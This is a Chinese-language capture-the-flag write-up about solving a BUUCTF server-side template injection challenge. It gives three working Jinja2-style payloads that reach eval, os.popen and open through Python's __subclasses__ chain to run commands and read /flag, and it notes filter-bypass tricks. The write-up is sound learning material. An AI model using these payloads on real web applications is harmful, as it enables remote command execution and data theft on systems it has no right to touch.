前言
- 我是懒狗
- 我用190买二手配件成功组装出一台台式电脑,成功大战4399,动手还是很快乐的。
读题
- 就一个搜索框,f12无提示。
- 尝试搜索发现url有一个name变量,搜索会跳转显示你输入的东西,在这里f12发现提示。
- ssti模板注入。对我来说是新东西。虽然前面做过了一题tornado模板的,可是有很大的差别。这让我看wp都费劲的一道题。
- 提示是ssti模板注入,我们再来尝试一下,比如说,在搜索框中输入
{{2+2}}
,会跳转显示4
。说明后端有处理渲染。
研究
- 这题我解释不清楚,就只是讲一下我在看wp时的一些看法。直接上payload。
payload
-
payload1
().__class__.__bases__[0].__subclasses__() ---查看可用模块().__class__.base__.__subclasses__().index(warnings.catch_warnings)可以查看当前位置,不过题目环境不能用。手动数吧= = 169位{{().__class__.__bases__[0].__subclasses__()[169].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}发现可以执行,构造命令{{''.__class__.__mro__[1].__subclasses__()[169].__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()")}}没有什么过滤= =友好!
-
payload2
或者找到os._wrap_close模块 117个 {{"".__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['popen']('dir').read()}} 当前文件夹{{"".__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read()}}来打开文件,payload有很多慢慢摸索慢慢积累= =
-
payload3
{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('/flag').read()}} threading.Semaphore模块
-
来自这位师傅的博客
个人理解
- 首先就是不同的模板引擎的变量包裹标识符会不一样,导致payload不一样。目前我就看过
Tornado
和Jinja2
,这两个都是以{{}}
作为变量包裹标识符。
- 利用漏洞
命令执行
或者信息泄露
,信息泄露有一些敏感的配置信息,而命令执行就能很直观的进行操作。例如文件读写。 - 然后是确定如何操作,查看可用模块里可执行函数,比如
os.system
可以执行系统命令,os.popen()
可以读取文件等。 - 再就是对题目的过滤进行绕过。可能会对某些危险函数禁用或者过滤函数名。可用编码、拼接,替换等方式绕过。
参考资料
- SSTI/沙盒逃逸详细总结
- 服务端模板注入攻击
- SSTI模板注入
- 详解flask的ssti模版注入
最后
- 实在是水平有限,遇到了,算先简单学习一下,以后有更深的理解再写
- 附上题目链接
- 持续更新BUUCTF题解,写的不是很好,欢迎指正。
- 最后欢迎来访个人博客